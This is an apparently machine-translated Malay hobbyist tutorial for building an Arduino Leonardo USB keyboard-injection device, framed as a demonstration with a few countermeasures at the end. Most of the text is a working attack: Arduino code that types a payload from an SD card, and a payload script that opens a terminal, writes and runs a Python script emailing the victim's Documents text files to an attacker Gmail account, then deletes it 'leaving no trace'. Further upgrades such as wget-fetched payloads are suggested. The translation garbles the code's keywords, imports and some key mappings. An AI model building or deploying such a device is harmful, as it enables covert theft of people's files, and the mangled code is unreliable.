Isi kandungan:
- Langkah 1: Bahan
- Langkah 2: Membina Peranti
- Langkah 3: Bagaimana Ia Berfungsi dengan terperinci
- Langkah 4: Penanggulangan
Video: Arduino Keyboard Exploit Demo (HID) dan Pencegahan: 4 Langkah (dengan Gambar)
2024 Pengarang: John Day | [email protected]. Diubah suai terakhir: 2024-01-30 11:11
Dalam projek ini kita akan menggunakan arduino leonardo untuk mensimulasikan kemungkinan serangan USB menggunakan HID (peranti antara muka humain).
Saya telah membuat tutorial ini bukan untuk membantu penggodam tetapi untuk menunjukkan kepada anda beberapa bahaya yang nyata dan bagaimana melindungi diri anda dari bahaya tersebut. Peranti ini bukan peranti yang dapat digunakan di platform mana pun untuk penggodam, ini lebih merupakan bukti konsep secara terperinci.
Kami akan mempelajari perkara berikut:
- cara menggunakan arduino leonardo untuk meniru papan kekunci
- cara membaca data dari kad SD
- cara membuat skrip python yang mengimbas fail dan menghantar e-mel kepada mereka
- bagaimana melindungi diri anda dari peranti peretasan USB
Langkah 1: Bahan
Bahagian:
1. Arduino leonardo
2. pembaca kad USB mikro
3. kad SD beberapa GB
4. butang tekan seperti ini (VCC, Ground dan signal)
5. kabel pelompat wanita-lelaki dan wanita-wanita
6. mikro USB ke kabel USB
Langkah 2: Membina Peranti
Sebelum arahan bangunan mari kita tinjau prinsip kerja:
Arduino leonardo boleh berkelakuan seperti alat antara muka manusia (HID) dan oleh itu dapat meniru tetikus dan papan kekunci. Kami akan menggunakan ciri ini untuk membuka terminal (dalam UBUNTU linux) dan menulis skrip kecil yang akan mengakses / Dokumen folder di dalam folder rumah pengguna menyalin fail.txt di sana dan menghantar e-mel kepada seseorang. Sekiranya anda ingin mengetahui lebih banyak perincian, periksa langkah seterusnya.
Oleh kerana ia adalah alat demo, semuanya sangat mudah, kami tidak akan menyelesaikan apa-apa.
Arahan bangunan
Sebelum kita mula memeriksa fail yang dilampirkan, saya telah melampirkan skema fritzing, dan semua fail yang diperlukan
1. Susun komponen:
* pasangkan kabel USB mikro di arduino
* sambungkan suis kunci ke arduino (modul ground, vcc dan out ke D8)
* sambungkan pembaca kad ke arduino (menggunakan header ICSP). Arduino leonardo tidak mempunyai header ICSP yang disambungkan ke pin digital, jadi anda perlu menyambungkan pembaca kad ke tajuk ICSP. Anda boleh mendapatkan beberapa gambar ICSP di sini: https://learn.sparkfun.com/tutorials/installing-an…. Sambungkan pin SS ke pin digital 10
2. dapatkan kod arduino, anda boleh mengklon repositori arduino saya di github: https://github.com/danionescu0/arduino dan pergi ke projek / keyboard_exploit atau dapatkannya dari bawah:
#masuk "Keyboard.h"
#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Tidur::"; String commandStartingPoint = "Perintah::"; int delayBetweenCommands = 10; butang const intPin = 8; const int chipPilih = 10; int sebelumnyaButtonState = TINGGI; batal persediaan () {pinMode (buttonPin, INPUT); Serial.begin (9600); Papan kekunci.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Kad gagal, atau tidak hadir!"); kembali; }} gelung void () {int buttonState = digitalRead (buttonPin); jika ((buttonState! = sebelumnyaButtonState) && (buttonState == TINGGI)) {sdFileToKeyboard (); Serial.println ("Dimuat naik!"); kelewatan (500); } sebelumnyaButtonState = buttonState; } batal sdFileToKeyboard () {File dataFile = SD.open (nama failOnCard); if (! dataFile) {Serial.println ("Nama fail yang ditentukan tidak terdapat pada kad SD, periksa nama failOnCard!"); } Garisan tali; sementara (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (baris); sendToKeyboard (baris); } dataFile.close (); } batal sendToKeyboard (Garis rentetan) {String workingLine = garis; jika (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); kembali; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Teks:"); Serial.println (baris); Papan kekunci.println (baris); tekan enter(); kembali; } Serial.println ("Perintah:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine + = ","; sementara (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Perintah rentetan = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("Command found:"); Serial.println (arahan); Keyboard.press (getCommandCode (arahan)); kelewatan (delayBetweenCommands); }} Papan Kekunci.releaseAll (); kelewatan (delayBetweenCommands); } kekosongan tekanEnter () {Keyboard.press (KEY_RETURN); Papan Kekunci.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Tidur untuk:"); Serial.println (sleepAmount); kelewatan (sleepAmount); } char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (textCharacters, 2); kod char = textCharacters [0]; kod = (teks == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kod; kod = (teks == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kod; kod = (teks == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kod; kod = (teks == "KEY_UP_ARROW")? KEY_UP_ARROW: kod; kod = (teks == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kod; kod = (teks == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kod; kod = (teks == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kod; kod = (teks == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kod; kod = (teks == "KEY_BACKSPACE")? KEY_BACKSPACE: kod; kod = (teks == "KEY_TAB")? KEY_TAB: kod; kod = (teks == "KEY_RETURN")? KEY_RETURN: kod; kod = (teks == "KEY_ESC")? KEY_ESC: kod; kod = (teks == "KEY_INSERT")? KEY_INSERT: kod; kod = (teks == "KEY_DELETE")? KEY_DELETE: kod; kod = (teks == "KEY_PAGE_UP")? KEY_PAGE_UP: kod; kod = (teks == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kod; kod = (teks == "KEY_HOME")? KEY_HOME: kod; kod = (teks == "KEY_END")? KEY_END: kod; kod = (teks == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kod; kod = (teks == "KEY_F1")? KEY_F1: kod; kod = (teks == "KEY_F2")? KEY_F2: kod; kod = (teks == "KEY_F3")? KEY_F3: kod; kod = (teks == "KEY_F4")? KEY_F4: kod; kod = (teks == "KEY_F5")? KEY_F5: kod; kod = (teks == "KEY_F6")? KEY_F6: kod; kod = (teks == "KEY_F7")? KEY_F7: kod; kod = (teks == "KEY_F8")? KEY_F8: kod; kod = (teks == "KEY_F9")? KEY_F9: kod; kod = (teks == "KEY_F10")? KEY_F10: kod; kod = (teks == "KEY_F11")? KEY_F1: kod; kod = (teks == "KEY_F12")? KEY_F2: kod;
kod pemulangan;
}
3. Muat naik kod ke arduino, pastikan untuk memilih kadar baud 9600, port bersiri dan arduino leonardo
4. Format kad sd menggunakan FAT16 atau FAT32
5. Sekiranya anda mengklon repo github dari atas, salin fail hack.txt pada kad, jika tidak fail tersebut disenaraikan di bawah:
Perintah:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os from os.path import expususer dari e-mel. MIMEMBipport import MIMEMultipart dari e-mel. MIMEBase import MIMEBase dari e-mel. MIMETeksport MIMETeks dari e-mel. Bahan mengimport KOMASPACE, formatdate dari pengekod import e-mel
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Dokumen'
subject = body = 'Fail dari komputer yang digodam'
header = 'Kepada: {0} nDari: {1} nSubjek: {2} n'.format (ke_address, smtp_user, subjek)
def sendMail (ke, subjek, teks, fail = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subjek msg.attach (MIMETeks (teks)) untuk file dalam fail: part = MIMEBase ('application', "octet-stream") part.set_payload (buka (file, "rb"). Baca ()) bahagian Encoders.encode_base64 (bahagian). add_header ('Content-Disposition', 'attachment; filename = "% s"'% os.path.basename (file)) msg.attach (bahagian)
pelayan = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, ke, msg.as_string ()) server.quit ()
sendMail ([to_address], subjek, body, glob.glob ("{0} / {1} / *. txt".format (expanduser ("~"), scan_documents_location)))
Tidur:: 50 Perintah:: KEY_ESC Tidur:: 100: x Tidur:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Tidur:: 400 Perintah:: KEY_LEFT_ALT, KEY_F4
6. Edit baris berikut:
smtp_user = 'sender_email_addr'
smtp_pass = 'sender_password' to_address = 'penerima_address'
Dan ganti dengan alamat e-mel anda
7. Keluarkan kad dan masukkan ke dalam pembaca kad arduino
Langkah 3: Bagaimana Ia Berfungsi dengan terperinci
Bagaimana serangan itu akan berfungsi:
1. Apabila butang ditekan, leonardo akan membaca kad sd menggunakan pembaca kad sd. Fail khas yang mengandungi kunci dan kombinasi kunci akan terdapat pada kad. Nama fail adalah "hack.txt".
Fail boleh mengandungi teks mentah, dan ia akan diserahkan ke papan kekunci seperti yang ada.
Juga dapat berisi perintah khusus seperti "Sleep::" dan "Command::".
Garisan seperti:
Tidur:: 200 bermaksud tidur 200 ms
Garisan seperti:
Perintah:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t bermaksud ctrl kiri ditekan, alt kiri ditekan, t ditekan dan semua dilepaskan
Anda boleh menyemak semua kunci khas di sini:
2. Leonardo akan membaca baris demi baris, dan mentafsirkan perintah dan meniru kekunci pada papan kekunci. Fail "hack.txt" mengandungi kombinasi kunci yang melakukan perkara berikut (untuk UBUNTU linux):
a. membuka terminal (CTRL + ALT + T)
b. membuka fail python untuk dibuat menggunakan vi (menulis "vi hack.py"
c. menulis skrip python di dalamnya yang mengumpulkan semua fail teks di dalam folder rumah dokumen dan mengirimkannya ke alamat gmail yang ditentukan
d. menjalankan fail di latar belakang ("nohup python hack.py &")
e. memadam fail (rm -rf hack.py)
f. menutup terminal (ALT + F4)
Seluruh perkara ini berjalan dalam beberapa saat dan tidak meninggalkan jejak.
Peningkatan dan penyelesaian masalah
* Anda mungkin menyedari bahawa setelah saya membuka terminal, saya sedang menulis fail python. cara yang lebih baik untuk melakukannya adalah dengan menghosinya di suatu tempat dan memuat turunnya menggunakan perintah "wget some_url", kemudian namakan semula menjadi hack.py
* Juga kita dapat memuat turun atau menjalankan eksploitasi siap pakai untuk sistem operasi yang disasarkan
* wifi dapat ditambahkan ke modul, dan peretasan dapat dimuat melalui WIFI
* anda boleh menggunakan arduino micro (yang jauh lebih kecil) dan menanamkan exploit code di atasnya (untuk membuatnya lebih kecil)
Batasan
1. Oleh kerana peranti simulasi (papan kekunci dan tetikus) tidak mempunyai maklum balas, kami tidak tahu apa yang akan terjadi setelah mengeluarkan perintah yang bermaksud kami perlu menggunakan penundaan. Contohnya saya mengeluarkan arahan untuk membuka terminal, tetapi saya tidak tahu bila sebenarnya akan dibuka, jadi saya perlu menentukan kelewatan sewenang-wenangnya untuk memastikan watak yang ditaip tidak akan hilang.
2. Kami mungkin menghadapi masalah kebenaran seperti tidak mempunyai akses ke port USB atau kebenaran untuk memasang sesuatu
3. Kelajuan menaip tidak begitu hebat pada leonardo
4. Akan berfungsi hanya pada sistem operasi yang disasarkan (dalam kes kami UBUNTU linux)
Pada langkah seterusnya akan berusaha mencari jalan untuk memanfaatkan batasan ini untuk mengelakkan komputer kita diretas
Langkah 4: Penanggulangan
1. Melumpuhkan port USB
- untuk windows anda boleh menyemak tutorial ini:
2. Peranti USB dalam senarai putih:
- untuk windows:
2. Kunci komputer anda semasa anda tidak berada jauh
3. Jangan log masuk sebagai root (memerlukan kata laluan untuk memasang apa sahaja)
4. Pastikan diri anda sentiasa terkini (kemas kini automatik)
Disyorkan:
Pencegahan Kebocoran Gas Domestik Menggunakan Arduino .: 3 Langkah
Pencegahan Kebocoran Gas Domestik Menggunakan Arduino: Dalam arahan ini saya membuat prototaip yang secara automatik menutup tombol gas silinder LPG apabila terdapat kebocoran gas. LPG tidak berbau dan agen yang dipanggil Ethyl Mercaptan ditambahkan untuk baunya, sehingga dapat diperhatikan ketika ada kebocoran
Pencegahan Perlanggaran - Dikuasakan oleh Pi: 6 Langkah
Collision Prevention- Powered by Pi: Instructable ini akan memberi anda panduan langkah demi langkah untuk pembinaan Sistem Collision Prevention. Untuk memulakan seseorang mesti mendapatkan senarai bahan berikut: Raspberry PI 3 (dengan kord kuasa dan Ethernet), 1 Papan Sambungan GPIO dan Pita Ribbon
8 Kawalan Relay Dengan Penerima NodeMCU dan IR Menggunakan Aplikasi Jauh dan Android WiFi dan IR: 5 Langkah (dengan Gambar)
8 Kawalan Relay Dengan Penerima NodeMCU dan IR Menggunakan Aplikasi Jauh dan Android WiFi dan IR: Mengendalikan 8 suis relai menggunakan penerima nodemcu dan ir melalui aplikasi wifi dan jauh dan android. Alat kawalan jauhnya tidak bergantung pada sambungan wifi. DI SINI ADALAH KLIK VERSI YANG DIKEMASKINI SINI
Paparan Suhu dan Kelembapan dan Pengumpulan Data Dengan Arduino dan Pemprosesan: 13 Langkah (dengan Gambar)
Paparan Suhu dan Kelembapan dan Pengumpulan Data Dengan Arduino dan Pemprosesan: Pengenalan: Ini adalah Projek yang menggunakan papan Arduino, Sensor (DHT11), komputer Windows dan program Pemprosesan (boleh dimuat turun percuma) untuk memaparkan data Suhu, Kelembapan dalam digital dan borang graf bar, masa dan tarikh paparan dan jalankan waktu mengira
Kerusi Palam Headphone & Pencegahan Pecah: 5 Langkah
Kerusi Palam Headphone & Break Preventer: Saya banyak memandu, dan mendengar BANYAK buku dalam format mp3. Saya bosan membeli fon kepala baru setiap bulan hanya kerana kord di hujung palam akan merosot dan memecahkan wayar di dalamnya. Saya datang dengan alat ini untuk membatasi jangkauan pergerakan